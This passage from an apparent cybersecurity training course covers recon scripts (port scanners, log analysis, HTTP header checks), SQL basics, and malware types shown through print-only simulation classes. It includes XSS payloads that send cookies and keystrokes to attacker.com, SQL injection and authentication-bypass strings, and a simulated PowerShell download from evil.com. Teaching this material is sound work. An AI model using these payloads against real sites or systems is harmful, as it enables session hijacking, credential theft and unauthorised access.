    print(f"Unique Source IPs: {unique_ips}")

    print("\nTop IPs by Attempt Count:")
    for ip, count in counter.most_common(10):
        status = "⚠️ SUSPICIOUS" if count > threshold else ""
        print(f"  {ip:20s}  {count:5d} attempts {status}")

    # Identify potential brute force attacks
    suspicious = {ip: count for ip, count in counter.items() if count > threshold}
    if suspicious:
        print(f"\n⚠️ Potential Brute Force Attacks Detected:")
        print(f"   {len(suspicious)} IPs exceeded threshold of {threshold} attempts")
        for ip, count in suspicious.most_common():
            print(f"   {ip}: {count} attempts")

    return suspicious

def main():
    log_file = sys.argv[1] if len(sys.argv) > 1 else "/var/log/auth.log"

    print(f"Analysing log file: {log_file}")

    counter = parse_auth_log(log_file)
    analyse_failed_attempts(counter)

if __name__ == "__main__":
    main()

Web Requests with Python

Making web requests programmatically is essential for reconnaissance and testing.

#!/usr/bin/env python3
"""
Web Request Script for Security Testing
"""

import requests
import json
from urllib.parse import urljoin

def make_request(url, method="GET", headers=None, data=None, params=None):
    """
    Make an HTTP request and return the response.
    """
    try:
        if method.upper() == "GET":
            response = requests.get(url, headers=headers, params=params, timeout=5)
        elif method.upper() == "POST":
            response = requests.post(url, headers=headers, data=data, params=params, timeout=5)
        else:
            print(f"Unsupported method: {method}")
            return None

        return response
    except requests.exceptions.Timeout:
        print(f"Timeout connecting to {url}")
        return None
    except requests.exceptions.ConnectionError:
        print(f"Connection error to {url}")
        return None
    except Exception as e:
        print(f"Error: {e}")
        return None

def analyse_response(response):
    """
    Analyse the HTTP response for security-relevant information.
    """
    print(f"\n=== Response Analysis ===")
    print(f"Status Code: {response.status_code}")
    print(f"Status Reason: {response.reason}")

    print("\nHeaders:")
    sensitive_headers = ['server', 'x-powered-by', 'set-cookie']
    for header, value in response.headers.items():
        if header.lower() in sensitive_headers:
            print(f"  ⚠️ {header}: {value}")
        else:
            print(f"  {header}: {value}")

    # Check for security headers
    security_headers = {
        'Content-Security-Policy': 'Missing CSP header',
        'X-Frame-Options': 'Missing X-Frame-Options',
        'X-Content-Type-Options': 'Missing X-Content-Type-Options',
        'Strict-Transport-Security': 'Missing HSTS header'
    }

    print("\nSecurity Headers:")
    for header, warning in security_headers.items():
        if header in response.headers:
            print(f"  ✅ {header}: {response.headers[header]}")
        else:
            print(f"  ❌ {warning}")

    # Preview response body
    content = response.text[:500] if response.text else "Empty response"
    print(f"\nResponse Preview:\n{content}...")

def main():
    url = input("Enter URL: ")
    method = input("Enter method (GET/POST): ").upper()

    response = make_request(url, method)
    if response:
        analyse_response(response)
    else:
        print("Request failed")

if __name__ == "__main__":
    main()

Automated Reconnaissance Script (Capstone Project)

This script combines multiple reconnaissance techniques into a single tool.

#!/usr/bin/env python3
"""
Automated Reconnaissance Script
Combines port scanning, subdomain discovery, and web analysis.
"""

import socket
import sys
import requests
import subprocess
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor

class ReconnaissanceTool:
    def __init__(self, target, ports=None):
        self.target = target
        self.ports = ports or [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 8080]
        self.results = {
            'open_ports': [],
            'subdomains': [],
            'http_info': []
        }

    def scan_port(self, port):
        """Scan a single port."""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            result = sock.connect_ex((self.target, port))
            sock.close()
            if result == 0:
                service = socket.getservbyport(port) if port <= 1024 else "unknown"
                self.results['open_ports'].append((port, service))
                print(f"  Port {port}: OPEN ({service})")
        except Exception as e:
            pass

    def scan_ports(self):
        """Scan all configured ports using threading."""
        print(f"\n=== Port Scanning {self.target} ===")
        with ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(self.scan_port, self.ports)

    def check_web(self, port=80):
        """Check HTTP/HTTPS service."""
        protocols = [
            (f"http://{self.target}", "HTTP"),
            (f"https://{self.target}", "HTTPS")
        ]

        print("\n=== Web Service Analysis ===")
        for url, protocol in protocols:
            try:
                response = requests.get(url, timeout=3, verify=False)
                if response.status_code < 400:
                    print(f"✅ {protocol}: {url}")
                    print(f"  Status: {response.status_code}")
                    print(f"  Server: {response.headers.get('Server', 'Unknown')}")
                    self.results['http_info'].append({
                        'url': url,
                        'status': response.status_code,
                        'server': response.headers.get('Server', 'Unknown')
                    })
            except requests.exceptions.SSLError:
                print(f"⚠️ {protocol}: SSL Error (self-signed certificate?)")
            except requests.exceptions.Timeout:
                print(f"❌ {protocol}: Timeout")
            except requests.exceptions.ConnectionError:
                print(f"❌ {protocol}: Connection refused")
            except Exception as e:
                print(f"❌ {protocol}: Error - {e}")

    def basic_dns_recon(self):
        """Perform basic DNS reconnaissance."""
        print("\n=== DNS Reconnaissance ===")
        try:
            ip = socket.gethostbyname(self.target)
            print(f"  IP Address: {ip}")
        except:
            print(f"  Failed to resolve {self.target}")

    def generate_report(self):
        """Generate a summary report."""
        print("\n" + "="*60)
        print("RECONNAISSANCE REPORT")
        print("="*60)
        print(f"Target: {self.target}")
        print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

        print(f"\nOpen Ports: {len(self.results['open_ports'])}")
        if self.results['open_ports']:
            for port, service in self.results['open_ports']:
                print(f"  {port}: {service}")

        print(f"\nWeb Services: {len(self.results['http_info'])}")
        for info in self.results['http_info']:
            print(f"  {info['url']} - {info['status']}")
            print(f"    Server: {info['server']}")

        print("\n" + "="*60)

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 recon.py <target_ip/domain>")
        print("Example: python3 recon.py 192.168.1.1")
        sys.exit(1)

    target = sys.argv[1]

    recon = ReconnaissanceTool(target)

    # Run reconnaissance
    recon.scan_ports()
    recon.basic_dns_recon()
    recon.check_web()

    # Generate report
    recon.generate_report()

if __name__ == "__main__":
    main()

2.3.2 Bash Scripting for Automation

Bash scripting is essential for automating tasks on Linux systems.

Simple Bash Port Scanner

#!/bin/bash
# Simple Bash Port Scanner
# Usage: ./scan.sh <target_ip> [port_list]

TARGET=${1:-localhost}
PORTS=${2:-"21 22 23 25 53 80 110 143 443 445 3306 3389 8080"}

echo "=== Port Scanner ==="
echo "Target: $TARGET"
echo "Ports: $PORTS"
echo

for PORT in $PORTS; do
    timeout 1 bash -c "echo >/dev/tcp/$TARGET/$PORT" 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Port $PORT is OPEN"
    fi
done

Log Analysis with Bash

#!/bin/bash
# Log Analysis Script
# Extracts unique IPs from log files

LOG_FILE=${1:-/var/log/auth.log}

echo "=== Log Analysis ==="
echo "Log File: $LOG_FILE"
echo

# Count failed login attempts by IP
echo "Failed Login Attempts by IP:"
grep "Failed password" "$LOG_FILE" 2>/dev/null | \
    awk '{print $(NF-3)}' | \
    sort | \
    uniq -c | \
    sort -rn | \
    head -10

echo

# Count successful logins
echo "Successful Logins by User:"
grep "Accepted password" "$LOG_FILE" 2>/dev/null | \
    awk '{print $9}' | \
    sort | \
    uniq -c | \
    sort -rn

echo

# Extract unique IPs from web logs (if available)
if [ -f /var/log/nginx/access.log ]; then
    echo "Top 10 IPs from Web Logs:"
    awk '{print $1}' /var/log/nginx/access.log | \
        sort | \
        uniq -c | \
        sort -rn | \
        head -10
fi

2.3.3 JavaScript (Web Attacks)

JavaScript is the primary language of web browsers and is essential for understanding web attacks.

Simple XSS Payload

// Simple XSS payload
<script>
    alert('XSS Vulnerability Detected!');
</script>

// Cookie stealing payload
<script>
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

// Session hijacking payload
<script>
    fetch('http://attacker.com/steal', {
        method: 'POST',
        body: document.cookie
    });
</script>

// Keylogger payload
<script>
    document.addEventListener('keydown', function(e) {
        fetch('http://attacker.com/keylog?key=' + e.key);
    });
</script>

2.3.4 Web Technologies

Understanding web technologies is essential for web application security testing.

HTML Fundamentals:

<!DOCTYPE html>
<html>
<head>
    <title>Web Application</title>
</head>
<body>
    <form method="POST" action="/login">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Login</button>
    </form>
</body>
</html>

SQL Query Fundamentals:

-- Basic SELECT
SELECT * FROM users WHERE username = 'admin';

-- SELECT with condition
SELECT username, email FROM users WHERE active = 1;

-- INSERT
INSERT INTO users (username, password, email) VALUES ('user', 'pass', 'user@email.com');

-- UPDATE
UPDATE users SET password = 'newpass' WHERE username = 'user';

-- DELETE
DELETE FROM users WHERE username = 'user';

-- JOIN
SELECT u.username, o.order_id 
FROM users u 
JOIN orders o ON u.user_id = o.user_id;

2.3.5 SQL (Database Attacks)

SQL injection is one of the most common and dangerous web vulnerabilities.

SQL Injection Payloads:

-- Basic injection
' OR '1'='1

-- Union-based injection
' UNION SELECT username, password FROM users --

-- Error-based injection
' AND 1=CONVERT(int, @@version) --

-- Time-based injection
' AND SLEEP(5) --

-- Database enumeration
' UNION SELECT null, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --

-- Dump data
' UNION SELECT username, password FROM users --

-- Bypass authentication
admin' --
admin' OR '1'='1' --
admin' OR 1=1 --

2.3.6 Project-Based Learning

The capstone project combines all scripting skills into a comprehensive reconnaissance tool.

#!/usr/bin/env python3
"""
Capstone Project: Automated Reconnaissance Script
Combines Python, Bash, and web technologies for comprehensive recon.
"""

import subprocess
import requests
import socket
import sys
import json
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor

class AdvancedRecon:
    def __init__(self, target):
        self.target = target
        self.results = {}
        self.threads = []

    def subdomain_enumeration(self):
        """Perform subdomain enumeration using multiple techniques."""
        print("\n=== Subdomain Enumeration ===")

        # Using Sublist3r if available
        try:
            output = subprocess.check_output(['sublist3r', '-d', self.target], text=True)
            print(output)
            self.results['subdomains'] = output
        except:
            print("Sublist3r not installed or failed")

        # Simple subdomain brute force
        common_subdomains = ['www', 'mail', 'ftp', 'dev', 'test', 'staging', 'api', 'admin']
        for sub in common_subdomains:
            try:
                domain = f"{sub}.{self.target}"
                ip = socket.gethostbyname(domain)
                print(f"  Found: {domain} -> {ip}")
            except:
                pass

    def web_recon(self):
        """Perform web reconnaissance on discovered subdomains."""
        print("\n=== Web Reconnaissance ===")
        # Check common ports and services
        common_ports = [80, 443, 8080, 8443]

        for port in common_ports:
            try:
                url = f"http://{self.target}:{port}"
                response = requests.get(url, timeout=2, verify=False)
                print(f"✅ Port {port}: {response.status_code}")
                print(f"  Server: {response.headers.get('Server', 'Unknown')}")
            except:
                pass

    def run_nmap(self):
        """Run Nmap scan for comprehensive port scanning."""
        print("\n=== Nmap Scan ===")
        try:
            subprocess.run(['nmap', '-sS', '-sV', self.target])
        except:
            print("Nmap not installed")

    def generate_report(self):
        """Generate comprehensive report."""
        print("\n" + "="*60)
        print("AUTOMATED RECONNAISSANCE REPORT")
        print("="*60)
        print(f"Target: {self.target}")
        print(f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        print(f"Results: {json.dumps(self.results, indent=2)}")

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 recon_advanced.py <target>")
        sys.exit(1)

    target = sys.argv[1]
    recon = AdvancedRecon(target)

    # Run all reconnaissance techniques
    recon.subdomain_enumeration()
    recon.web_recon()
    recon.run_nmap()
    recon.generate_report()

if __name__ == "__main__":
    main()

You have now completed Phase 2: Core Technical Foundations.

Key Skills Developed:

CategorySkills
NetworkingOSI Model, TCP/IP, Protocols (DNS, HTTP, FTP, SSH), Packet Analysis
Operating SystemsLinux Administration, Windows Internals, Active Directory
ProgrammingPython Security Scripting, Bash Automation, JavaScript for Web Attacks
DatabaseSQL Fundamentals, Injection Testing
Security ToolsWireshark, Tcpdump, Tshark, Nmap

Practical Projects Completed:

  1. Python Port Scanner
  2. Log Analysis Script
  3. Web Request Automation
  4. Automated Reconnaissance Tool
  5. Bash Automation Scripts
  6. Capstone Reconnaissance Project

PHASE 3: CYBER THREATS & ATTACK VECTORS

3.1 Understanding the Threat Landscape

Before you can defend a system or test its defences, you must understand precisely how systems are attacked. The term attack vector refers to the path or method an attacker uses to gain unauthorised access to a system. The term threat refers to any circumstance or event with the potential to cause harm to information or systems. This chapter covers the primary categories of threats and attack vectors you will encounter in professional security work, examines the technical mechanics of each, and demonstrates the tools used both to execute and to detect them.

The importance of this chapter extends beyond memorising attack names. Each attack type reveals something fundamental about how systems work and where they are inherently fragile. A phishing attack exploits the fact that humans are the weakest link in any security chain. A buffer overflow exploits the fact that many programming languages do not enforce memory boundaries. A DDoS attack exploits the fact that every system has finite resources. Understanding the root cause of each attack class is what allows you to build defences that address the underlying weakness rather than merely patching the symptom.

3.1.1 Malware: Types, Mechanics, and Detection

Malware is a contraction of malicious software. It is any program or code written with the intent to damage, disrupt, or gain unauthorised access to a computer system. Malware is not a single thing. It is a broad category encompassing dozens of distinct types, each with different infection methods, behaviours, and objectives. Understanding the differences between them is essential both for analysing incidents and for writing accurate penetration test reports.

Viruses

Definition: Viruses are programs that attach themselves to legitimate files and replicate when those files are executed. A virus cannot spread on its own — it requires the infected file to be run by a user or a system process.

How They Work: When a virus-infected program executes, the virus code runs first, copies itself into other executable files, and then runs the original program so the user does not notice anything unusual. The damage a virus causes varies: some simply replicate, others delete files, corrupt data, or install additional malware.

Key Characteristics:

  • Self-replicating code
  • Attachment-based infection
  • Requires user interaction to spread
  • Can be file infectors (infect executable files)
  • Can be macro viruses (infect documents)

Example Scenario: A user downloads a cracked version of software from a torrent site. The installer appears legitimate, but it contains a virus. When the user runs the installer, the virus copies itself into system files. Every time the user runs a program, the virus spreads further.

Detection Methods:

  • Signature-based detection (known virus signatures)
  • Heuristic analysis (behavioral patterns)
  • File integrity monitoring
# Conceptual virus simulation
class VirusSimulation:
    def __init__(self, name):
        self.name = name
        self.infected_files = []

    def infect_file(self, filename):
        """Simulate file infection"""
        if filename not in self.infected_files:
            self.infected_files.append(filename)
            print(f"🐛 Virus '{self.name}' infected {filename}")

    def replicate(self):
        """Simulate replication"""
        print(f"🔄 Virus '{self.name}' is replicating...")
        # In reality, this would find new files to infect

    def execute_payload(self):
        """Simulate malicious payload"""
        print(f"💀 Virus '{self.name}' executing payload")
        # Could delete files, steal data, etc.

# Example
virus = VirusSimulation("WannaCry_Clone")
virus.infect_file("program.exe")
virus.infect_file("system.dll")
virus.replicate()

The term virus is frequently misused to refer to all malware. In technical usage it refers specifically to self-replicating code that attaches to legitimate files. When a client says “my computer has a virus,” they almost certainly mean malware of some kind, but the actual type requires analysis to determine.

Worms

Definition: Worms differ from viruses in that they are self-contained programs that replicate and spread across networks without requiring user interaction or attachment to a host file.

How They Work: A worm exploits a vulnerability in a networked service, gains access to the target machine, copies itself there, and then scans for further vulnerable machines to infect. The WannaCry attack described in the introductory chapter was delivered by a worm that exploited a vulnerability in the Windows SMB protocol, spreading from machine to machine across networks within minutes without any user needing to click anything.

Key Characteristics:

  • Self-propagating
  • Network-based spreading
  • No host file attachment required
  • Exploits vulnerabilities to spread
  • Can spread rapidly across networks

Real-World Example: WannaCry (2017)

  • Exploited EternalBlue vulnerability in Windows SMB
  • Spread to over 200,000 computers in 150 countries
  • Shut down UK’s National Health Service
  • Encrypted files and demanded ransom
  • Caused billions in damages

Why Worms Are Dangerous: The speed of worm propagation is what makes them particularly destructive. A worm that can compromise a machine in seconds and immediately begin scanning for further targets can propagate across an entire corporate network before any human has noticed the first infection.

# Conceptual worm simulation
class WormSimulation:
    def __init__(self, name, vulnerability):
        self.name = name
        self.vulnerability = vulnerability
        self.infected_hosts = []

    def exploit_host(self, host_ip):
        """Simulate exploiting a vulnerability"""
        print(f"🐛 Worm '{self.name}' exploiting {self.vulnerability} on {host_ip}")
        self.infected_hosts.append(host_ip)

    def spread(self, network_range):
        """Simulate spreading to new hosts"""
        print(f"🔄 Worm spreading across network...")
        for host in network_range:
            if host not in self.infected_hosts:
                self.exploit_host(host)

    def execute_payload(self):
        """Simulate payload execution"""
        print(f"💀 Worm '{self.name}' executing payload on {len(self.infected_hosts)} hosts")

# Example
worm = WormSimulation("EternalBlue_Worm", "SMBv1 Vulnerability")
network = ["192.168.1.10", "192.168.1.11", "192.168.1.12", "192.168.1.13"]
worm.spread(network)
worm.execute_payload()

Trojans

Definition: Trojans — named after the Trojan Horse of Greek mythology — are programs that appear to perform a legitimate or desirable function but conceal malicious functionality within.

How They Work: A user downloads what appears to be a useful utility, a game, or a cracked version of commercial software, and executes it voluntarily. While the visible behaviour may be exactly what was advertised, behind the scenes the Trojan is installing a backdoor, exfiltrating data, or enrolling the machine in a botnet.

Key Characteristics:

  • Disguised as legitimate software
  • Requires user execution
  • Usually delivered through phishing or malicious downloads
  • Can install backdoors (RATs – Remote Access Trojans)
  • Often creates persistent access

Common Trojan Types:

TypeDescription
RAT (Remote Access Trojan)Provides remote control of the victim’s system
Banking TrojanSteals financial credentials
DownloaderDownloads and installs additional malware
BackdoorCreates a hidden entry point for attackers
Rootkit TrojanInstalls a rootkit for deep system hiding

Example Scenario: An attacker creates a Trojan disguised as a PDF converter. The user downloads and runs it. The Trojan installs a backdoor that allows the attacker to connect to the system remotely, steal files, and use the system as part of a botnet.

# Conceptual Trojan simulation
class TrojanSimulation:
    def __init__(self, name, disguise_function):
        self.name = name
        self.disguise_function = disguise_function
        self.backdoor_port = 4444

    def show_disguise(self):
        """Show the legitimate function of the Trojan"""
        print(f"✅ Running {self.disguise_function}... Looks legitimate!")

    def install_backdoor(self):
        """Install hidden backdoor"""
        print(f"🚪 Trojan installing backdoor on port {self.backdoor_port}")
        print(f"🔑 Attacker can now connect remotely")

    def exfiltrate_data(self, data):
        """Simulate data theft"""
        print(f"📤 Exfiltrating: {data}")

    def execute(self, data=None):
        """Execute Trojan"""
        self.show_disguise()
        self.install_backdoor()
        if data:
            self.exfiltrate_data(data)

# Example
trojan = TrojanSimulation("PDF_Converter_Pro", "PDF Conversion")
trojan.execute("user_credentials.txt")

Trojans are the most common form of malware delivered through phishing campaigns and malicious downloads because they require no exploitation of a technical vulnerability — they rely entirely on the user choosing to run the program.

Ransomware

Definition: Ransomware is malware that encrypts the victim’s files and demands payment in exchange for the decryption key.

How It Works: Modern ransomware is typically delivered through phishing emails, compromised remote desktop protocol services, or as a second-stage payload after an initial access technique has succeeded. Once executed, it typically attempts to spread to other machines on the network, delete backup copies (Volume Shadow Copies on Windows systems), and then begin encrypting files with a strong cryptographic algorithm such as AES-256.

Key Characteristics:

  • Encryption-based extortion
  • Double extortion (stealing data before encryption)
  • Often uses strong encryption (AES, RSA)
  • Demands payment in cryptocurrency
  • Can spread laterally across networks
  • Deleting backups to prevent recovery

The Encryption Is Legitimate: The ransomware is not breaking any cryptographic principles. The files are genuinely encrypted, and without the decryption key held by the attacker, recovery is practically impossible without backups. This is why offline, tested, verified backups are the single most important control against ransomware.

Famous Ransomware Families:

RansomwareYearImpact
WannaCry2017200,000+ systems, NHS disruption
Colonial Pipeline2021US fuel supply disruption
Ryuk2018-2021Targeted large organizations
LockBit2019-PresentRansomware-as-a-Service

Ransomware Attack Flow:

  1. Initial Access: Phishing email, RDP compromise, exploit
  2. Execution: Malware executes on the system
  3. Lateral Movement: Spreads to other systems
  4. Backup Deletion: Deletes shadow copies and backups
  5. Encryption: Encrypts files with strong encryption
  6. Ransom Note: Displays ransom demand
  7. Payment: Victim pays (often in Bitcoin)
# Conceptual ransomware simulation
class RansomwareSimulation:
    def __init__(self, name, encryption_type="AES-256"):
        self.name = name
        self.encryption_type = encryption_type
        self.encrypted_files = []
        self.ransom_amount = "$10,000"

    def encrypt_file(self, filename):
        """Simulate file encryption"""
        print(f"🔐 Encrypting {filename} with {self.encryption_type}")
        self.encrypted_files.append(filename)

    def delete_backups(self):
        """Simulate backup deletion"""
        print("🗑️ Deleting Volume Shadow Copies...")
        print("🗑️ Deleting backup files...")

    def display_ransom_note(self):
        """Simulate ransomware note"""
        print("\n" + "="*60)
        print("🔴 YOUR FILES HAVE BEEN ENCRYPTED")
        print("="*60)
        print(f"All your files have been encrypted with {self.encryption_type}")
        print(f"To recover your files, pay {self.ransom_amount} in Bitcoin")
        print("Send payment to: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa")
        print("Contact: ransomware@onion.com")
        print("="*60)

    def attack(self, file_list):
        """Execute ransomware attack"""
        print(f"💀 {self.name} Ransomware Attack Starting...")

        # Delete backups
        self.delete_backups()

        # Encrypt files
        for file in file_list:
            self.encrypt_file(file)

        # Display ransom note
        self.display_ransom_note()
        print(f"✅ {len(self.encrypted_files)} files encrypted")

# Example
ransomware = RansomwareSimulation("LockBit_Clone")
files = ["document.docx", "project.pdf", "database.sql", "photo.jpg", "backup.zip"]
ransomware.attack(files)

Spyware

Spyware is software that secretly monitors and collects information about a user’s activities and sends it to a third party without the user’s consent.

How It Works: Spyware can be installed through malicious downloads, drive-by downloads, or as a component of legitimate software. It runs silently in the background, recording keystrokes, capturing screenshots, tracking browsing habits, and collecting personal information.

Key Characteristics:

  • Surveillance and data theft
  • Hidden operation (runs silently)
  • Keylogging capabilities
  • Screen capture
  • Steals credentials, browsing history, personal data

Common Spyware Types:

TypeDescription
KeyloggerRecords every keystroke
Screen CaptureTakes periodic screenshots
Browser HijackerModifies browser settings
Tracking CookieMonitors online behavior
InfostealerCollects credentials and files

Example Scenario: A user downloads a “free” weather widget. The widget installs spyware that records every keystroke, capturing passwords, credit card numbers, and email content.

# Conceptual spyware simulation
class SpywareSimulation:
    def __init__(self, name):
        self.name = name
        self.captured_data = []
        self.logged_keystrokes = []

    def capture_keystrokes(self, keys):
        """Simulate keylogging"""
        print(f"⌨️ Capturing keystrokes: {keys}")
        self.logged_keystrokes.extend(keys)

    def capture_screenshot(self):
        """Simulate screen capture"""
        print("📸 Capturing screenshot...")
        return "screenshot_data"

    def capture_credentials(self, username, password):
        """Simulate credential theft"""
        print(f"🔑 Captured credentials: {username}:{password}")
        self.captured_data.append(f"{username}:{password}")

    def exfiltrate_data(self):
        """Simulate data exfiltration"""
        print(f"📤 Exfiltrating {len(self.captured_data)} credentials")
        print(f"📤 Exfiltrating {len(self.logged_keystrokes)} keystrokes")

    def run(self):
        """Execute spyware activity"""
        print(f"👁️ {self.name} Spyware Running...")
        self.capture_screenshot()
        self.capture_keystrokes("password123")
        self.capture_credentials("admin", "secret123")
        self.exfiltrate_data()

# Example
spyware = SpywareSimulation("Secret_Capture_Pro")
spyware.run()

Adware

Adware is software that automatically displays unwanted advertisements to the user. While not always malicious, adware can be intrusive, resource-consuming, and can compromise privacy.

How It Works: Adware is typically bundled with free software or downloaded from suspicious websites. It modifies browser settings, injects ads into web pages, redirects searches to ad-filled results, and may collect user data for targeted advertising.

Key Characteristics:

  • Unwanted advertising display
  • Browser hijacking
  • Pop-up ads
  • Search redirection
  • Resource consumption

Example Scenario: A user installs a free music downloader. The software also installs a browser extension that shows pop-up ads on every website, redirects search queries, and slows down the browser.

# Conceptual adware simulation
class AdwareSimulation:
    def __init__(self, name):
        self.name = name
        self.ad_shown = 0
        self.browser_extensions = []

    def install_browser_extension(self, browser):
        """Simulate browser extension installation"""
        print(f"🔧 Installing adware extension in {browser}")
        self.browser_extensions.append(browser)

    def show_ad(self):
        """Simulate showing advertisements"""
        self.ad_shown += 1
        print(f"📢 Showing ad #{self.ad_shown}: 'Get Rich Fast!'")

    def redirect_search(self, search_query):
        """Simulate search redirection"""
        print(f"🔄 Redirecting search: '{search_query}' to ad-filled results")

    def collect_browsing_data(self, data):
        """Simulate data collection"""
        print(f"📊 Collecting browsing data: {data}")

    def run(self, browser):
        """Execute adware activity"""
        print(f"📢 {self.name} Adware Starting...")
        self.install_browser_extension(browser)
        self.show_ad()
        self.show_ad()
        self.redirect_search("best security software")
        self.collect_browsing_data("Visited amazon.com, facebook.com")

# Example
adware = AdwareSimulation("Super_Search_Bar")
adware.run("Chrome")

Rootkits

A rootkit is a type of malware designed to hide itself and other malicious software on a compromised system.

How It Works: Rootkits achieve their hiding by modifying the operating system at a fundamental level — hooking system calls, patching kernel code, or replacing system binaries — so that standard tools return falsified results. A rootkit-infected system might show no suspicious processes when you run ps, no suspicious network connections when you run netstat, and no suspicious files when you run ls, because the rootkit has interceded in all of those calls and filtered out its own entries.

Key Characteristics:

  • System-level hiding
  • Kernel-mode operation
  • Hides processes, files, and network connections
  • Usually requires root/administrator privileges
  • Difficult to detect
  • Often installed after privilege escalation

Detection Challenge: Detecting a rootkit with tools running on the compromised system is unreliable for this reason. The gold standard is to boot from a trusted external medium — a clean USB drive — and examine the system’s storage from that external context, where the rootkit code is not running and cannot intercept your queries.

# Conceptual rootkit simulation
class RootkitSimulation:
    def __init__(self, name):
        self.name = name
        self.hidden_processes = []
        self.hidden_files = []
        self.hidden_connections = []
        self.kernel_hooked = False

    def install_kernel_hook(self):
        """Simulate kernel-level hooking"""
        print(f"🔧 Installing kernel hooks...")
        self.kernel_hooked = True
        print(f"🔄 Now intercepting system calls")

    def hide_process(self, pid, process_name):
        """Simulate hiding a process"""
        print(f"🙈 Hiding process: {process_name} (PID: {pid})")
        self.hidden_processes.append((pid, process_name))

    def hide_file(self, filepath):
        """Simulate hiding a file"""
        print(f"📁 Hiding file: {filepath}")
        self.hidden_files.append(filepath)

    def hide_connection(self, local_port, remote_host):
        """Simulate hiding a network connection"""
        print(f"🌐 Hiding connection: localhost:{local_port} -> {remote_host}")
        self.hidden_connections.append((local_port, remote_host))

    def filter_system_output(self, command):
        """Simulate filtering system command output"""
        print(f"🔄 Intercepting command: {command}")
        print(f"✅ Filtered out {len(self.hidden_processes)} processes")
        print(f"✅ Filtered out {len(self.hidden_files)} files")
        return "Command output (cleaned)"

    def install(self):
        """Install rootkit"""
        print(f"🔴 {self.name} Rootkit Installing...")
        self.install_kernel_hook()
        self.hide_process(1337, "hidden_malware")
        self.hide_file("/usr/bin/malware")
        self.hide_connection(4444, "c2.example.com")
        print(f"✅ Rootkit installed and active")

# Example
rootkit = RootkitSimulation("Stealth_Rootkit")
rootkit.install()

Bootkits

Definition: Bootkits are a type of malware that infects the boot sector of a storage device, loading before the operating system. This makes them extremely difficult to detect and remove.

How They Work: Bootkits reside in the Master Boot Record (MBR) or UEFI firmware. They load during the system boot process, before the operating system and security software, allowing them to modify the boot process and remain hidden.

Key Characteristics:

  • Boot sector infection
  • Early loading (before OS and security software)
  • Persistent across OS reinstalls
  • Can survive disk formatting
  • Often used with rootkits

Comparison: Rootkit vs Bootkit

AspectRootkitBootkit
Loading TimeAfter OS bootsBefore OS boots
PersistenceCan be removed with OS reinstallSurvives OS reinstall
DetectionCan be detected by specialized toolsVery difficult to detect
RemovalOS reinstall often worksMay require firmware update or disk wipe
# Conceptual bootkit simulation
class BootkitSimulation:
    def __init__(self, name):
        self.name = name
        self.mbr_infected = False
        self.boot_loader_modified = False

    def infect_mbr(self):
        """Simulate MBR infection"""
        print(f"💾 Infecting Master Boot Record...")
        self.mbr_infected = True

    def modify_boot_loader(self):
        """Simulate boot loader modification"""
        print(f"⚙️ Modifying boot loader...")
        self.boot_loader_modified = True

    def load_before_os(self):
        """Simulate loading before OS"""
        print(f"🔄 Loading bootkit before operating system")
        print(f"✅ Security software not yet loaded")
        print(f"✅ Bootkit has full control")

    def install_malware_after_boot(self):
        """Simulate installing additional malware"""
        print(f"📦 Installing malware components...")
        print(f"🔴 Ransomware component installed")
        print(f"🔴 Spyware component installed")
        print(f"🔴 Rootkit component installed")

    def install(self):
        """Install bootkit"""
        print(f"🔴 {self.name} Bootkit Installing...")
        self.infect_mbr()
        self.modify_boot_loader()
        self.load_before_os()
        self.install_malware_after_boot()
        print(f"✅ Bootkit installed - Survives OS reinstall")

# Example
bootkit = BootkitSimulation("Boot_Stealth")
bootkit.install()

Fileless Malware

Fileless malware is malware that resides in memory rather than being stored on disk as a file. This makes it harder to detect with traditional antivirus software.

How It Works: Fileless malware doesn’t write files to disk. It executes in memory by exploiting trusted system tools and processes. Techniques include:

  • PowerShell scripts executed directly in memory
  • WMI (Windows Management Instrumentation) exploitation
  • Registry-based persistence (scripts stored in registry)
  • Exploiting legitimate system tools (living off the land)

Key Characteristics:

  • Memory-resident attacks
  • No files written to disk
  • “Living off the land” technique
  • Uses legitimate system tools
  • Harder to detect with traditional antivirus

Living Off the Land: Attackers use tools that are already installed on the system to avoid detection. Tools like PowerShell, WMI, certutil, and bitsadmin are legitimate and trusted, so their activity doesn’t trigger alarms.

# Conceptual fileless malware simulation
class FilelessMalware:
    def __init__(self, name):
        self.name = name
        self.running_in_memory = False
        self.commands_executed = []

    def execute_powershell_memory(self, command):
        """Simulate in-memory PowerShell execution"""
        print(f"⚡ Executing in memory (PowerShell): {command[:50]}...")
        self.commands_executed.append(command)
        self.running_in_memory = True

    def use_wmi(self, query):
        """Simulate WMI usage for execution"""
        print(f"🔧 Using WMI: {query}")
        self.commands_executed.append(f"WMI: {query}")

    def inject_into_process(self, process_name, code):
        """Simulate process injection"""
        print(f"💉 Injecting code into {process_name}")
        print(f"   Code: {code[:50]}...")

    def remove_traces(self):
        """Simulate removing traces"""
        print(f"🧹 Removing traces from memory")
        self.running_in_memory = False

    def execute(self):
        """Execute fileless attack"""
        print(f"🔴 {self.name} Fileless Malware Executing...")
        print(f"📝 No files written to disk")
        self.execute_powershell_memory("Invoke-Cradle -URL http://evil.com/script.ps1")
        self.use_wmi("SELECT * FROM Win32_Process WHERE Name='explorer.exe'")
        self.inject_into_process("svchost.exe", "Base64 encoded shellcode...")
        self.remove_traces()
        print(f"✅ Malware executed - No disk evidence")

# Example
fileless = FilelessMalware("PowerShell_Stealth")
fileless.execute()

Detection Methods

Detection MethodDescriptionProsCons
Signature-BasedMatches known patternsFast, low false positivesOnly detects known malware
HeuristicIdentifies suspicious behaviorCan detect new variantsHigher false positives
BehavioralMonitors system behaviorDetects zero-day attacksRequires baseline
